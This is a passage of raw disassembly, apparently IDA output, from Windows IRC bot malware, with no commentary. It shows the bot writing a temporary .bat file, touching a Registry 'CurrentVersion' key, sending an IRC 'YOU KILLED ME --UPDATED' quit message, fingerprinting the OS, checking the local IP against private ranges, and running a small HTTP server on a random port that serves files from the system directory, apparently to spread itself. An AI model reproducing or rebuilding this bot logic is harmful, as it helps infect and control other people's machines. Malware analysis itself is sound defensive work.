ecx lea eax, [ebp+var_3C] push edx push esi push offset aSTmpIIICCC_bat ; "%s\\tmp-%i%i%i-%c%c%c.bat" push eax call sub_40CE48 push esi call sub_40C76A lea eax, [ebp+var_3C] push offset aW ; "w" push eax call sub_40CF87 mov esi, eax add esp, 30h cmp esi, ebx jz short loc_402825 lea eax, [ebp+var_23C] push eax push offset aS ; "%s" push esi call sub_40CF9A push esi call sub_40D257 add esp, 10h push ebx push ebx push ebx lea eax, [ebp+var_3C] push eax push ebx push ebx call ds:dword_41E1F4 loc_402825: ; CODE XREF: sub_4026D7+122j mov ecx, [ebp+var_4] pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_4026D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402833 proc near ; CODE XREF: sub_4088D0+1C5p var_2A8 = byte ptr -2A8h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_28B = byte ptr -28Bh var_18C = byte ptr -18Ch var_18B = byte ptr -18Bh var_CC = byte ptr -0CCh var_CB = byte ptr -0CBh var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2A8h mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, 0BFh xor ebx, ebx push esi mov [ebp+var_298], eax lea eax, [ebp+var_CB] push ebx push eax mov [ebp+var_CC], bl call sub_40C6F0 add esp, 0Ch push esi lea eax, [ebp+var_18B] push ebx push eax mov [ebp+var_18C], bl call sub_40C6F0 add esp, 0Ch lea eax, [ebp+var_CC] push eax push ebx call sub_402E6D lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_CC] push eax call sub_40CDC0 inc esi push esi lea eax, [ebp+var_CC] push ebx push eax call sub_40C6F0 add esp, 1Ch push esi lea eax, [ebp+var_18C] push ebx push eax call sub_40C6F0 add esp, 0Ch push 0FFh lea eax, [ebp+var_28B] push ebx push eax mov [ebp+var_28C], bl call sub_40C6F0 mov eax, dword_433BC4 mov eax, [eax] mov [ebp+var_290], eax mov eax, offset dword_433BC0 add esp, 0Ch mov [ebp+var_294], eax mov [ebp+var_2A0], eax loc_402903: ; CODE XREF: sub_402833+114j mov eax, dword_433BC4 lea edi, [ebp+var_2A0] lea esi, [ebp+var_294] mov [ebp+var_29C], eax call sub_402E50 test al, al jz short loc_402955 push offset aRm ; "RM" call sub_402E02 add eax, 5 push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_402949 lea edi, [ebp+var_2A8] call sub_402E22 jmp short loc_402903 ; --------------------------------------------------------------------------- loc_402949: ; CODE XREF: sub_402833+107j call sub_402E02 mov eax, [eax] call sub_408409 loc_402955: ; CODE XREF: sub_402833+EEj mov edi, 100h push edi lea esi, [ebp+var_28C] mov ebx, offset asc_4250C9 ; "ÞÆÑÛÁÛ" call sub_401ACE pop ecx mov eax, esi push eax push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_405168 add esp, 0Ch push edi mov eax, esi push 0 push eax call sub_40C6F0 add esp, 0Ch call sub_4026D7 push [ebp+var_298] mov edi, offset dword_426A3C push offset aQuitSYouKilled ; "QUIT :%s YOU KILLED ME :< --UPDATED\r\n" call sub_403ECA pop ecx pop ecx push 0 call ds:off_41E0B0 int 3 ; Trap to Debugger sub_402833 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029B4 proc near ; CODE XREF: sub_4023EB+1BBp ; sub_4023EB+1D3p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push esi mov esi, ecx mov cl, [eax] test cl, cl push edi jz short loc_402A1D loc_4029C2: ; CODE XREF: sub_4029B4+24j mov dl, [esi] cmp dl, 2Ah jz short loc_4029DA cmp dl, cl jz short loc_4029D2 cmp dl, 3Fh jnz short loc_4029F8 loc_4029D2: ; CODE XREF: sub_4029B4+17j inc esi inc eax mov cl, [eax] test cl, cl jnz short loc_4029C2 loc_4029DA: ; CODE XREF: sub_4029B4+13j mov cl, [eax] test cl, cl jz short loc_402A1D mov edi, [ebp+var_4] loc_4029E3: ; CODE XREF: sub_4029B4+5Fj mov dl, [esi] cmp dl, 2Ah jnz short loc_4029FC inc esi cmp byte ptr [esi], 0 jz short loc_402A17 mov [ebp+var_4], esi lea edi, [eax+1] jmp short loc_402A0F ; --------------------------------------------------------------------------- loc_4029F8: ; CODE XREF: sub_4029B4+1Cj xor eax, eax jmp short loc_402A29 ; --------------------------------------------------------------------------- loc_4029FC: ; CODE XREF: sub_4029B4+34j cmp dl, cl jz short loc_402A0D cmp dl, 3Fh jz short loc_402A0D mov esi, [ebp+var_4] mov eax, edi inc edi jmp short loc_402A0F ; --------------------------------------------------------------------------- loc_402A0D: ; CODE XREF: sub_4029B4+4Aj ; sub_4029B4+4Fj inc esi inc eax loc_402A0F: ; CODE XREF: sub_4029B4+42j ; sub_4029B4+57j mov cl, [eax] test cl, cl jnz short loc_4029E3 jmp short loc_402A1D ; --------------------------------------------------------------------------- loc_402A17: ; CODE XREF: sub_4029B4+3Aj xor eax, eax inc eax jmp short loc_402A29 ; --------------------------------------------------------------------------- loc_402A1C: ; CODE XREF: sub_4029B4+6Cj inc esi loc_402A1D: ; CODE XREF: sub_4029B4+Cj ; sub_4029B4+2Aj ... cmp byte ptr [esi], 2Ah jz short loc_402A1C xor eax, eax cmp [esi], al setz al loc_402A29: ; CODE XREF: sub_4029B4+46j ; sub_4029B4+66j pop edi pop esi leave retn sub_4029B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2D proc near ; CODE XREF: sub_402C36+2Ap ; sub_408CC5+1FBp ... var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax push 10h lea eax, [ebp+var_18] push 0 push eax mov [ebp+var_1C], 10h call sub_40C6F0 push 10h push 0 push esi call sub_40C6F0 add esp, 18h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call ds:dword_41E27C ; getsockname movzx eax, [ebp+var_11] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_13] push eax movzx eax, [ebp+var_14] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push 0Fh push esi call sub_40C634 push esi call sub_40C500 mov ecx, [ebp+var_8] mov byte ptr [eax+esi], 0 xor ecx, ebp add esp, 20h mov eax, esi call sub_40AB4A leave retn sub_402A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_402AAB proc near ; CODE XREF: sub_40393C+255p ; sub_404844+85p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 98h mov eax, dword_423068 xor eax, ebp mov [ebp+78h+var_4], eax push ebx push esi lea eax, [ebp+78h+var_98] push eax mov esi, ecx mov [ebp+78h+var_98], 94h call ds:dword_41E058 ; GetVersionExA push esi xor ebx, ebx push ebx push edi call sub_40C6F0 add esp, 0Ch cmp [ebp+78h+var_94], 6 jnz short loc_402AF4 cmp [ebp+78h+var_90], ebx jnz short loc_402B5F push offset aVis ; "VIS" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402AF4: ; CODE XREF: sub_402AAB+3Bj cmp [ebp+78h+var_94], 5 jnz short loc_402B20 cmp [ebp+78h+var_90], 2 jnz short loc_402B07 push offset a2k3 ; "2K3" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B07: ; CODE XREF: sub_402AAB+53j cmp [ebp+78h+var_90], 1 jnz short loc_402B14 push offset aXp ; "XP" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B14: ; CODE XREF: sub_402AAB+60j cmp [ebp+78h+var_90], ebx jnz short loc_402B5F push offset a2k ; "2K" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B20: ; CODE XREF: sub_402AAB+4Dj cmp [ebp+78h+var_94], 4 jnz short loc_402B5F cmp [ebp+78h+var_90], 5Ah jnz short loc_402B33 push offset aMe ; "ME" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B33: ; CODE XREF: sub_402AAB+7Fj cmp [ebp+78h+var_90], 1 jnz short loc_402B40 push offset a98 ; "98" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_402AAB+8Cj cmp [ebp+78h+var_90], ebx jnz short loc_402B5F cmp [ebp+78h+var_88], 2 jnz short loc_402B52 push offset aNt ; "NT" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B52: ; CODE XREF: sub_402AAB+9Ej cmp [ebp+78h+var_88], 1 jnz short loc_402B6F push offset a95 ; "95" jmp short loc_402B64 ; --------------------------------------------------------------------------- loc_402B5F: ; CODE XREF: sub_402AAB+40j ; sub_402AAB+6Cj ... push offset aUnk ; "UNK" loc_402B64: ; CODE XREF: sub_402AAB+47j ; sub_402AAB+5Aj ... dec esi push esi push edi call sub_40C634 add esp, 0Ch loc_402B6F: ; CODE XREF: sub_402AAB+ABj push edi call sub_40C500 pop ecx mov ecx, [ebp+78h+var_4] mov [eax+edi], bl pop esi xor ecx, ebp mov eax, edi pop ebx call sub_40AB4A add ebp, 78h leave retn sub_402AAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B8C proc near ; CODE XREF: sub_40393C+262p ; sub_404844+AFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] push 0 push [ebp+arg_0] call sub_40C6F0 add esp, 0Ch push [ebp+arg_4] push [ebp+arg_0] push 7 push 800h call ds:off_41E0AC mov eax, [ebp+arg_0] pop ebp retn sub_402B8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402BB7 proc near ; CODE XREF: sub_40386C+8p ; sub_40386C:loc_403885p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx lea eax, [ebp+var_10] push eax call ds:dword_41E084 ; QueryPerformanceCounter test eax, eax jz short loc_402C33 lea eax, [ebp+var_8] push eax call ds:off_41E054 test eax, eax jz short loc_402C33 push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_41D490 push 0 push 15180h push edx push eax call sub_41B310 push 0 push 0E10h push ebx push ecx mov dword_426618, eax mov dword_42661C, edx call sub_41B310 push 0 push 3Ch push ebx push ecx mov dword_426620, eax mov dword_426624, edx call sub_41D490 mov dword_426628, eax mov dword_42662C, edx loc_402C33: ; CODE XREF: sub_402BB7+13j ; sub_402BB7+21j pop ebx leave retn sub_402BB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402C36 proc near ; CODE XREF: sub_404844+CFp ; sub_408CC5+1CCp ... var_14 = byte ptr -14h var_13 = byte ptr -13h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push esi push edi push dword_426A3C mov [ebp+var_14], 0 xor eax, eax lea edi, [ebp+var_13] stosd stosd stosd stosw lea esi, [ebp+var_14] stosb call sub_402A2D pop ecx mov eax, esi mov ecx, offset a192 ; "192*" call sub_4029B4 test eax, eax pop edi pop esi jnz loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a10_ ; "10.*" call sub_4029B4 test eax, eax jnz loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a111_ ; "111.*" call sub_4029B4 test eax, eax jnz loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a15_ ; "15.*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a16_ ; "16.*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a101 ; "101*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a110 ; "110*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a112 ; "112*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a170_65__ ; "170.65.*.*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a11_ ; "11.*" call sub_4029B4 test eax, eax jnz short loc_402D32 lea eax, [ebp+var_14] mov ecx, offset a172 ; "172*" call sub_4029B4 test eax, eax jnz short loc_402D32 xor al, al jmp short loc_402D34 ; --------------------------------------------------------------------------- loc_402D32: ; CODE XREF: sub_402C36+40j ; sub_402C36+55j ... mov al, 1 loc_402D34: ; CODE XREF: sub_402C36+FAj mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AB4A leave retn sub_402C36 endp ; =============== S U B R O U T I N E ======================================= sub_402D40 proc near ; CODE XREF: sub_4049E1+3C5p ; .text:0040A18Dp and dword_426630, 0 mov dword_426634, 1Fh call ds:dword_41E0EC ; GetTickCount mov edx, 3FFFFFFFh and eax, edx mov dword_426638, eax mov dword_42663C, 1 mov eax, offset dword_426638 push esi loc_402D73: ; CODE XREF: sub_402D40+46j mov esi, [eax] lea ecx, [eax+4] add esi, [ecx] and esi, edx mov [eax+8], esi mov eax, ecx cmp eax, offset dword_42670C jl short loc_402D73 pop esi retn sub_402D40 endp ; =============== S U B R O U T I N E ======================================= sub_402D8A proc near ; CODE XREF: sub_40312D+9Cp ; sub_40A506+82p ... arg_0 = dword ptr 4 xor ecx, ecx push ebx mov ebx, eax mov eax, [esp+4+arg_0] inc ecx sub ecx, eax add ebx, ecx cmp ebx, 1 jle short loc_402E00 push 2 pop ecx cmp ebx, ecx jle short loc_402DAA loc_402DA4: ; CODE XREF: sub_402D8A+1Ej add ecx, ecx cmp ecx, ebx jl short loc_402DA4 loc_402DAA: ; CODE XREF: sub_402D8A+18j mov edx, dword_426630 push esi mov esi, dword_426634 push edi lea eax, [ecx-1] loc_402DBB: ; CODE XREF: sub_402D8A+6Cj mov ecx, dword_426638[esi*4] lea edi, ds:426638h[edx*4] add ecx, [edi] and ecx, 3FFFFFFFh inc edx cmp edx, 37h mov [edi], ecx jnz short loc_402DDB xor edx, edx loc_402DDB: ; CODE XREF: sub_402D8A+4Dj inc esi cmp esi, 37h jnz short loc_402DE3 xor esi, esi loc_402DE3: ; CODE XREF: sub_402D8A+55j sar ecx, 6 and ecx, eax cmp ecx, ebx mov dword_426630, edx mov dword_426634, esi jge short loc_402DBB mov eax, [esp+0Ch+arg_0] pop edi add eax, ecx pop esi loc_402E00: ; CODE XREF: sub_402D8A+11j pop ebx retn sub_402D8A endp ; =============== S U B R O U T I N E ======================================= sub_402E02 proc near ; CODE XREF: sub_402833+F5p ; sub_402833:loc_402949p ... cmp dword ptr [esi], 0 jnz short loc_402E0C call sub_40CB2C loc_402E0C: ; CODE XREF: sub_402E02+3j mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+4] jnz short loc_402E1B call sub_40CB2C loc_402E1B: ; CODE XREF: sub_402E02+12j mov eax, [esi+4] add eax, 8 retn sub_402E02 endp ; =============== S U B R O U T I N E ======================================= sub_402E22 proc near ; CODE XREF: sub_402833+10Fp ; sub_4046BC+148p ... cmp dword ptr [esi], 0 mov eax, [esi] mov [edi], eax mov eax, [esi+4] mov [edi+4], eax jnz short loc_402E36 call sub_40CB2C loc_402E36: ; CODE XREF: sub_402E22+Dj mov eax, [esi] mov ecx, [esi+4] cmp ecx, [eax+4] jnz short loc_402E45 call sub_40CB2C loc_402E45: ; CODE XREF: sub_402E22+1Cj mov eax, [esi+4] mov eax, [eax] mov [esi+4], eax mov eax, edi retn sub_402E22 endp ; =============== S U B R O U T I N E ======================================= sub_402E50 proc near ; CODE XREF: sub_402833+E7p ; sub_408428+2Fp ... mov eax, [esi] test eax, eax jz short loc_402E5A cmp eax, [edi] jz short loc_402E5F loc_402E5A: ; CODE XREF: sub_402E50+4j call sub_40CB2C loc_402E5F: ; CODE XREF: sub_402E50+8j mov eax, [esi+4] xor ecx, ecx cmp eax, [edi+4] setnz cl mov al, cl retn sub_402E50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E6D proc near ; CODE XREF: sub_402833+5Cp ; .text:0040872Fp var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = dword ptr -3CCh var_3C8 = byte ptr -3C8h var_308 = byte ptr -308h var_307 = byte ptr -307h var_208 = byte ptr -208h var_207 = byte ptr -207h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 3E4h mov eax, dword_423068 xor eax, esp mov [esp+3E4h+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov [esp+3F0h+var_3E0], eax mov eax, [ebp+arg_4] mov ebx, 1FFh push ebx mov [esp+3F4h+var_3DC], eax xor esi, esi lea eax, [esp+3F4h+var_207] push esi push eax mov [esp+3FCh+var_208], 0 call sub_40C6F0 add esp, 0Ch push 0FFh lea eax, [esp+3F4h+var_307] push esi push eax mov [esp+3FCh+var_308], 0 call sub_40C6F0 add esp, 0Ch push 10h pop ecx push [esp+3F0h+var_3E0] mov [esp+3F4h+var_3D0], esi push offset aS ; "%s" mov [esp+3F8h+var_3CC], esi mov [esp+3F8h+var_3D8], esi mov [esp+3F8h+var_3D4], esi lea eax, [esp+3F8h+var_208] push ebx mov esi, offset byte_420B40 lea edi, [esp+3FCh+var_3C8] push eax rep movsd call sub_40C634 lea eax, [esp+400h+var_208] push eax call sub_40C500 add esp, 14h lea ecx, [esp+3F0h+var_3D8] push ecx push eax lea ecx, [esp+3F8h+var_208] call sub_407AA0 push 200h lea eax, [esp+3FCh+var_208] push 0 push eax call sub_40C6F0 lea eax, [esp+404h+var_308] add esp, 14h push eax lea ebx, [esp+3F4h+var_3D8] call sub_407BA0 mov esi, [esp+3F4h+var_3DC] pop ecx push 0C0h xor ebx, ebx push ebx push esi call sub_40C6F0 add esp, 0Ch xor edi, edi loc_402F6E: ; CODE XREF: sub_402E6D+12Cj movzx eax, [esp+edi+3F0h+var_308] push eax push esi push offset aSX ; "%s%X" push 0BFh push esi call sub_40C634 add esp, 14h push esi call sub_40C500 inc edi cmp edi, 40h pop ecx mov [eax+esi], bl jl short loc_402F6E push 100h lea eax, [esp+3F4h+var_308] push ebx push eax call sub_40C6F0 mov ecx, [esp+3FCh+var_4] add esp, 0Ch pop edi mov eax, esi pop esi pop ebx xor ecx, esp call sub_40AB4A mov esp, ebp pop ebp retn sub_402E6D endp ; =============== S U B R O U T I N E ======================================= sub_402FC8 proc near ; CODE XREF: sub_4049E1+3E3p ; .text:00409E3Ep push 4 mov eax, offset loc_41D694 call sub_40E5CD push 8 call loc_40CC1A mov esi, eax pop ecx mov [ebp-10h], esi and dword ptr [ebp-4], 0 test esi, esi jz short loc_402FFC push offset sub_40300B xor ecx, ecx mov edi, offset byte_4202A1 call sub_408395 jmp short loc_402FFE ; --------------------------------------------------------------------------- loc_402FFC: ; CODE XREF: sub_402FC8+1Fj xor eax, eax loc_402FFE: ; CODE XREF: sub_402FC8+32j cmp dword ptr [eax+4], 0 setnz al call sub_40E66C retn sub_402FC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40300B proc near ; DATA XREF: sub_402FC8+21o var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 50h mov eax, dword_426724 push ebx mov ebx, ds:off_41E208 push esi push edi mov edi, 7F00h push edi xor esi, esi push esi mov [ebp+var_3C], eax mov [ebp+var_28], offset dword_4254D0 mov [ebp+var_48], offset sub_4030E2 mov [ebp+var_4C], 8 mov [ebp+var_50], 30h call ebx ; sub_44C2B0 push edi push esi mov [ebp+var_38], eax call ebx ; sub_44C2B0 push edi push esi mov [ebp+var_24], eax call ds:off_41E218 mov [ebp+var_34], eax lea eax, [ebp+var_50] push eax mov [ebp+var_2C], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_30], 1 call ds:off_41E204 test ax, ax jz short loc_4030D9 push esi push dword_426724 mov eax, 80000000h push esi push esi push esi push esi push eax push eax push 0CF0000h push offset asc_4202A4 ; " " push offset dword_4254D0 push esi call ds:off_41E21C push eax call sub_40312D test eax, eax pop ecx jz short loc_4030D9 mov edi, ds:off_41E200 jmp short loc_4030CC ; --------------------------------------------------------------------------- loc_4030B8: ; CODE XREF: sub_40300B+CCj lea eax, [ebp+var_20] push eax call ds:off_41E20C lea eax, [ebp+var_20] push eax call ds:off_41E214 loc_4030CC: ; CODE XREF: sub_40300B+ABj push esi push esi push esi lea eax, [ebp+var_20] push eax call edi ; sub_44441C test eax, eax jnz short loc_4030B8 loc_4030D9: ; CODE XREF: sub_40300B+70j ; sub_40300B+A3j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40300B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E2 proc near ; DATA XREF: sub_40300B+27o arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h ; FUNCTION CHUNK AT 0043CA52 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044518A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044C47C SIZE 00000005 BYTES push ebp mov ebp, esp cmp [ebp+arg_4], 401h jz short loc_4030F5 pop ebp jmp ds:off_41E210 ; --------------------------------------------------------------------------- loc_4030F5: ; CODE XREF: sub_4030E2+Aj mov eax, [ebp+arg_C] dec eax jz short loc_40311E sub eax, 7 jnz short loc_403127 lea eax, [ebp+arg_4] push eax push offset word_426714 push dword_42682C mov [ebp+arg_4], 10h call ds:dword_41E280 ; accept jmp short loc_403127 ; --------------------------------------------------------------------------- loc_40311E: ; CODE XREF: sub_4030E2+17j push [ebp+arg_8] call sub_403249 pop ecx loc_403127: ; CODE XREF: sub_4030E2+1Cj ; sub_4030E2+3Aj xor eax, eax pop ebp retn 10h sub_4030E2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40312D proc near ; CODE XREF: sub_40300B+9Bp arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, 104h push edi xor ebp, ebp push ebp mov ebx, offset dword_426728 push ebx call sub_40C6F0 push edi push ebp mov esi, offset dword_426938 push esi call sub_40C6F0 push edi push ebp mov ebp, offset byte_426830 push ebp call sub_40C6F0 add esp, 24h push edi push ebx call ds:dword_41E050 ; GetSystemDirectoryA push edi mov ebx, offset byte_425089 call sub_401ACE push esi push offset dword_426728 push offset aSS_2 ; "%s\\%s" push 103h push ebp call sub_40C634 push ebp call sub_40C500 add esp, 1Ch xor ebx, ebx push ebx push 1 push 2 mov byte_426830[eax], bl call ds:dword_41E240 ; socket cmp eax, 0FFFFFFFFh mov dword_42682C, eax jnz short loc_4031BF push eax loc_4031B2: ; CODE XREF: sub_40312D+E0j call ds:dword_41E244 ; closesocket xor eax, eax jmp loc_403244 ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_40312D+82j push 3E8h mov eax, 0FFDCh call sub_402D8A pop ecx push eax mov dword_426614, eax mov word_426714, 2 call ds:dword_41E238 ; htons push 10h push offset word_426714 push dword_42682C mov word_426716, ax mov dword_426718, ebx call ds:dword_41E250 ; bind test eax, eax jz short loc_40320F loc_403207: ; CODE XREF: sub_40312D+FBj ; sub_40312D+10Dj push dword_42682C jmp short loc_4031B2 ; --------------------------------------------------------------------------- loc_40320F: ; CODE XREF: sub_40312D+D8j push 9 push 401h push [esp+18h+arg_0] push dword_42682C call ds:dword_41E24C ; WSAAsyncSelect test eax, eax jnz short loc_403207 push 4 push dword_42682C call ds:dword_41E288 ; listen test eax, eax jnz short loc_403207 mov byte_426934, 1 inc eax loc_403244: ; CODE XREF: sub_40312D+8Dj pop edi pop esi pop ebp pop ebx retn sub_40312D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=0CA8h sub_403249 proc near ; CODE XREF: sub_4030E2+3Fp var_D28 = byte ptr -0D28h var_D24 = dword ptr -0D24h var_D20 = dword ptr -0D20h var_D1C = dword ptr -0D1Ch var_D18 = byte ptr -0D18h var_D14 = byte ptr -0D14h var_D13 = byte ptr -0D13h var_D12 = byte ptr -0D12h var_D11 = byte ptr -0D11h var_D08 = byte ptr -0D08h var_D07 = byte ptr -0D07h var_908 = byte ptr -908h var_907 = byte ptr -907h var_508 = byte ptr -508h var_507 = byte ptr -507h var_108 = byte ptr -108h var_107 = byte ptr -107h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-0CA8h] sub esp, 0D28h mov eax, dword_423068 xor eax, ebp mov [ebp+0CA8h+var_4], eax push ebx push esi push edi mov edi, 3FFh xor ebx, ebx push edi lea eax, [ebp+0CA8h+var_907] push ebx push eax mov [ebp+0CA8h+var_908], bl call sub_40C6F0 push edi lea eax, [ebp+0CA8h+var_507] push ebx push eax mov [ebp+0CA8h+var_508], bl call sub_40C6F0 push 103h lea eax, [ebp+0CA8h+var_107] push ebx push eax mov [ebp+0CA8h+var_108], bl call sub_40C6F0 push edi lea eax, [ebp+0CA8h+var_D07] push ebx push eax mov [ebp+0CA8h+var_D08], bl call sub_40C6F0 add esp, 30h push ebx push 400h lea eax, [ebp+0CA8h+var_D08] push eax push [ebp+0CA8h+arg_0] call ds:dword_41E23C ; recv mov [ebp+eax+0CA8h+var_D08], bl lea eax, [ebp+0CA8h+var_D24] push eax lea eax, [ebp+0CA8h+var_D28] push eax lea eax, [ebp+0CA8h+var_D1C] push eax lea eax, [ebp+0CA8h+var_D20] push eax lea esi, [ebp+0CA8h+var_D08] call sub_403718 add esp, 10h test eax, eax jz loc_403700 push offset aGet ; "GET" push [ebp+0CA8h+var_D20] call sub_40CDC0 test eax, eax pop ecx pop ecx jz loc_4033B4 push offset aQue? ; "Que?" lea eax, [ebp+0CA8h+var_908] push edi push eax call sub_40C634 lea eax, [ebp+0CA8h+var_908] push eax call sub_40C500 mov [ebp+eax+0CA8h+var_908], bl lea eax, [ebp+0CA8h+var_908] push eax call sub_40C500 push eax push offset aHttp1_1501NotI ; "HTTP/1.1 501 Not Implemented\r\nContent-L"... lea eax, [ebp+0CA8h+var_508] push edi push eax call sub_40C634 lea eax, [ebp+0CA8h+var_508] push eax call sub_40C500 add esp, 28h mov [ebp+eax+0CA8h+var_508], bl lea eax, [ebp+0CA8h+var_508] push ebx push eax call sub_40C500 mov esi, ds:dword_41E248 pop ecx push eax lea eax, [ebp+0CA8h+var_508] push eax push [ebp+0CA8h+arg_0] call esi ; send lea eax, [ebp+0CA8h+var_908] push ebx push eax call sub_40C500 pop ecx push eax lea eax, [ebp+0CA8h+var_908] push eax push [ebp+0CA8h+arg_0] call esi ; send jmp loc_4036F4 ; --------------------------------------------------------------------------- loc_4033B4: ; CODE XREF: sub_403249+C4j mov edi, [ebp+0CA8h+var_D1C] push edi call sub_4037AC test eax, eax pop ecx jz loc_403700 push edi call sub_40C500 cmp eax, 1 pop ecx jbe loc_4034BE inc edi push 2Fh push edi call sub_40D6A0 mov esi, eax cmp esi, ebx pop ecx pop ecx jz loc_403475 mov [esi], bl inc esi jmp short loc_4033F3 ; --------------------------------------------------------------------------- loc_4033F0: ; CODE XREF: sub_403249+1B6j mov byte ptr [eax], 5Ch loc_4033F3: ; CODE XREF: sub_403249+1A5j push 2Fh push esi call sub_40D6A0 cmp eax, ebx pop ecx pop ecx jnz short loc_4033F0 push ebx push esi call sub_40D6A0 cmp [esi], bl pop ecx pop ecx jz short loc_403442 cmp byte ptr [eax-1], 5Ch jz short loc_403442 push esi push edi push offset dword_426728 push offset aSSS_1 ; "%s\\%s\\%s" lea eax, [ebp+0CA8h+var_108] push 103h push eax call sub_40C634 lea eax, [ebp+0CA8h+var_108] push eax call sub_40C500 add esp, 1Ch jmp short loc_4034A0 ; --------------------------------------------------------------------------- loc_403442: ; CODE XREF: sub_403249+1C3j ; sub_403249+1C9j push offset dword_426938 push esi push edi push offset dword_426728 push offset aSSSS ; "%s\\%s\\%s%s" lea eax, [ebp+0CA8h+var_108] push 103h push eax call sub_40C634 lea eax, [ebp+0CA8h+var_108] push eax call sub_40C500 add esp, 20h jmp short loc_4034A0 ; --------------------------------------------------------------------------- loc_403475: ; CODE XREF: sub_403249+19Cj push edi push offset dword_426728 push offset aSS_2 ; "%s\\%s" lea eax, [ebp+0CA8h+var_108] push 103h push eax call sub_40C634 lea eax, [ebp+0CA8h+var_108] push eax call sub_40C500 add esp, 18h loc_4034A0: ; CODE XREF: sub_403249+1F7j ; sub_403249+22Aj mov [ebp+eax+0CA8h+var_108], bl lea eax, [ebp+0CA8h+var_108] push eax push offset byte_426830 call sub_40ACE3 test eax, eax pop ecx pop ecx jnz short loc_403530 loc_4034BE: ; CODE XREF: sub_403249+187j push ebx push ebx push 3 push ebx push 1 push 80000000h lea eax, 